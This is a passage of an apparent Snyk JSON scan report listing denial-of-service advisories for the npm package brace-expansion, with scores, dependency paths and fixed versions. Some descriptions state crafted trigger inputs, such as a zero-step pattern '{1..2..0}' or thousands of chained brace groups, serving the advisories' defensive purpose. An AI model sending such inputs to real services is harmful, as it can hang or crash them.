"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
